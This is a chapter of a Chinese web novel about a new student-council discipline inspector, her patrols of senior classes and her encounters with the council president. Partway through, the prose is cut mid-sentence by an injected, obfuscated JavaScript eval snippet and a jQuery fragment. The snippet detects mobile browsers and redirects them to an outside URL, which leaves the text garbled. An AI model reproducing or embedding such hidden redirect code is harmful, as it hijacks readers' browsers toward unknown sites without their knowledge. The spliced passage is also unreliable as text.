从高三一班开始,怀雾之捧着一个写字板夹,上面夹着两张印着三个年级组各个班级的应到人数以及实到人数。
这个倒是不难,只需要看黑板上有没有写这个人数。如果写了怀雾之就照着抄下来。如果没写就去找班长签。
学生会面试已经结束,高三年级组恢复了吵吵嚷嚷的场面。
晚自习基本没什么人看管高三的纪律,一是管了没人听,二是高三三两步便是一个学生会,转转头又是一个部长。谁也不愿意去触霉头。就连高二的纪检部都管不了他们,更何况是她这个新生。
舒思颜站着说话不腰疼,她在楼梯间双手环胸大言不惭的说:“只要是班级里面没有其他咱们部成员,就趁着班长签单子时检查仪容仪表,再维持维持纪律。有不合格的就扣分。”
?
怀雾之在她平静的话语中抬起头:“你是说...我?”她指了指自己又指了指楼梯间外的走廊“管他们?”
虽发出反抗,但舒思颜才不会考虑她的处境如何,她没好气的冷哼一声,紧接着也不管她记不记得住只是自顾自的说着:“主席副主席以及各部门部长有任何违纪的都装看不见。主席在高三九班,副主席在高三十一班,生活部长在......”
怀雾之努力消化着她说的话,跟着她的步子踏进高三一班。
时旖的班级,刚进门就看见了黑板上的应到人数以及实到人数。教室内的人也都很安静。
以为会这样顺利的走完整个高三,谁承想到了二班她的想法就已经破灭。
二班没有写实到人数,怀雾之敲了敲门:“打扰一下,找一下班长。”
终于在众多七嘴八舌中找到了举手的班长把单子递给她,舒思颜便开始让她检查。
一路下来怀雾之扣了一张发型不合格,一张手上戴首饰的单子。
部长好认些,也就没出什么差错。但这个年级组还是刷新了她的认知,没有任何职权的人也能肆无忌惮的开玩笑,她拿手机让打名字,那人一脸不怀好意:“打名字多浪费手机啊,把你联系方式打上去呗。”
舒思颜乐得看好戏,虽在一旁却并不管。那人见舒思颜毫无反应更加毫无忌惮:“哪个班的?一会找你去啊。”
怀雾之见状收了手机,皮笑肉不笑:“高四的。”
那人见状收起了笑意,欺软怕硬的真实写照。
高三三班,是裴惜时所在班级。
费力的检查完三班,舒思颜立马当了甩手掌柜说是有点事剩下的班级让她自己去。
怀雾之看着她走回三班的背影忽然有一个想法。
舒思颜这种能力,其实很适合做侦探。
剩下的班级,怀雾之不想给自己找麻烦。所以很轻易的就接受了自己是睁眼瞎这个事实。
别管是违纪的,说话的。她都一概装看不见,睁一只眼闭一只眼。静静等着班长签完单子她一刻都不多停留。
这个方法倒是让她轻松了不少。
直到从高三八班的后门走出来,走进九班时倒是让她有些意外。
九班鸦雀无声,和一班一样。没什么人抬头,没有人大吵大闹。手机袋里的手机竟然都比前几个班级齐整了很多。
数一数二的高素质班级。
她视线从手机袋上收回来,“打扰一下,找下班长。”
话音刚落她便察觉到了几道打量的目光。见没人举手她有些疑惑道:“班长是哪位?”
依旧没人说话,但她却感受到了一道不容忽视的目光。
她顺着感觉看过去。
两相对视,却似乎都不意外,谁都没有移开眼。直到席今也抬手示意她过去。
怀雾之走到靠着窗户的最后一排,双手将手写板递过去,恭恭敬敬道:“主席好。”
席今也“嗯”了一声:“就你自己执勤吗?”
这怎么回答?
她语气有些迟疑:“学姐...身体有点不舒服。”
他点了点头,拿着笔签名字。忽然没头没尾的问了一句:“冷不冷?”
“啊。”她反应过来:“不冷。”
席今也没再说话,空气开始静止。
留着一些缝隙的窗户忽然刮来一阵凉风,风把她额前的碎发微微吹动。
凉风径直的扑到她脸上,随之而来的还有一阵淡淡的烟草味。
怀雾之看着眼前人标准到背部几乎是一条直线的坐姿挑了挑眉,再看向他时眼神里多了一丝探究。
“好了。”他语气平淡到听不出任何情绪。
怀雾之接过手写板:“主席再见。”
“再见。”
倒是有礼貌。
随着学生会面试的结束,新的一周开始。
怀雾之照例把手中的袋子递给许一诺,这次却被原封不动的推了回来。
许一诺目光并没有看向她,只是盯着刚刚被纺织那个包装精美纸袋子的地方,她嘴唇瓮动在吵闹的教室里存在感极低,怀雾之微微倾身向前听清了她的话。
“以后不用再给我带这么贵重的早餐了,我还是更习惯吃学校的饭菜。不然的话不知道怎么回馈你。”
“不用回馈,这...”看着她越来越低的头,怀雾之点了点头:“行。”
手机响起急促的提示音,她看了一眼起身离开。
她从身后走过,许一诺藏在桌下的手握紧了一些,声音轻到只自己听得到。
“如果你拿我当朋友的话,就应该平等相处。”
而不是利用给我买早餐这件事情来打因为你被扣分从而冷落你那些人的脸。
怀雾之按着手机中的地址推开空教室的门,打眼一看规规矩矩坐在那的基本上都是像她一样被刚刚被分配到这个部门的人。三两个东倒西歪,腿放桌子上的都是部门中满打满算超过一年的。
她随意找了个左右无人的空位置坐下。
没过多久人齐了,裴惜时站到讲台上开始进行在群里的通知——部门会议。
“也没什么可说的。就是高二的挑挑这些新来的带带他们,一个别落下就行了。住宿的要想抽烟喝酒打扑克,自己和男宿的混熟。惹麻烦了就找带你们的学长,别找我就行。今天中午开大会,地址发群里。都去啊。”他闲闲的站在那里:“行了,没什么事都回去吧。”
这会开的可谓是把“都别来找我”几个大字写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366646|199833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在脸上了,生怕给自己惹麻烦。
想必不止一个人在心底疑惑他这纪检部部长到底是怎么当上的?
中午的大会就比怀雾之早上听的要正式很多。
阶梯教室了——顾名思义就是一层一层的阶梯上面安放着一排连在一起的桌子,再加上需要自己放下来的悬空椅子。
一个部门大概占了两三排的位置,出去坐在第一排不超过十个人的文秘部,剩下部门大概有二十几个人。都坐下来也把中间的所有桌椅全部占满。
怀雾之坐在靠后的位置,往下看便可以看到一个又一个的后脑勺。她有些饿了,毕竟这场会是要在座的各位牺牲吃饭的时间。
台上放置着三个话筒,还放置着立牌。
学生会主席——席今也。
文秘部部长——时旖。
学生会副主席——姜兴然。
发言顺序也是依此类推。
这还是第一次怀雾之看着席今也,而不是感觉有人在看自己。
席今也白衬衫袖口挽起,漏出一截流畅的小臂线条,他抬手调试话筒高度,紧接着他的声音从教室上方的音响里传出来——
“希望各位在以后的日子里,自我约束,互相监督,谨慎行事。”
简洁清晰,威慑力足。
只一句话便让一些新生瞬间挺直背脊,而有三两元老级别的成员也在不知不觉间收起了懒散的样子。
怀雾之视线落到时旖身上,听她缓缓地表达自己的意思。
“今年学生会又一次注入了新鲜的血液,欢迎你们加入到这个大家庭,感谢你们愿意成为学生与领导之间的传话筒......”
进入尾声阶段,她说:“我依然希望大家只是把“学生会”当作一种业余课业,就像课外书一样。而不是把它当作你在这个学校的一切资格。我不愿意看到大家拿着手中的权利公报私仇,欺压他人。更不愿意看到各部门之间互利互惠的场面。“学生会”是要以校规为准则,以学生的一切利益为上。希望大家都能做到不背离初衷,不忘记初心。”
掌声如潮间,怀雾之忽然觉得她每一次的发言似乎都是这样语气温柔,但表达的意思却很坚定。即便学生会内部乌烟瘴气,她却依旧不厌其烦的把劝告藏在每一句说出的话里。
会议结束,人潮散去。怀雾之坐在原地不动的原因是因为这一片的整个纪检部门都没有动。因为部长没动,所以他们都不敢动。
虽没明白过来这是什么意思,但眼见台上的三位都已经起身准备离开了。肚子饿的实在是没时间陪他们在这上演木头人了,她起身尽量放轻椅子回弹的声音离开。
不知道是不是她解开了冰冻的封印,裴惜时终于起身,身后的人也就三三两两的离开。
站在讲台边等时旖时,再一次对上了席今也的视线,他忽然笑了。
这还是怀雾之第一次见他笑,笑脸的眼睛是什么样子,他笑起来时的眼睛就是什么样子。
他长了一双笑起来眼睛就会变成月牙形状的笑眼。
还没来得及把他的笑容安上一个合适的形容词他就已经离开。正思考着他在笑什么,左脸颊就传来了微凉的体温。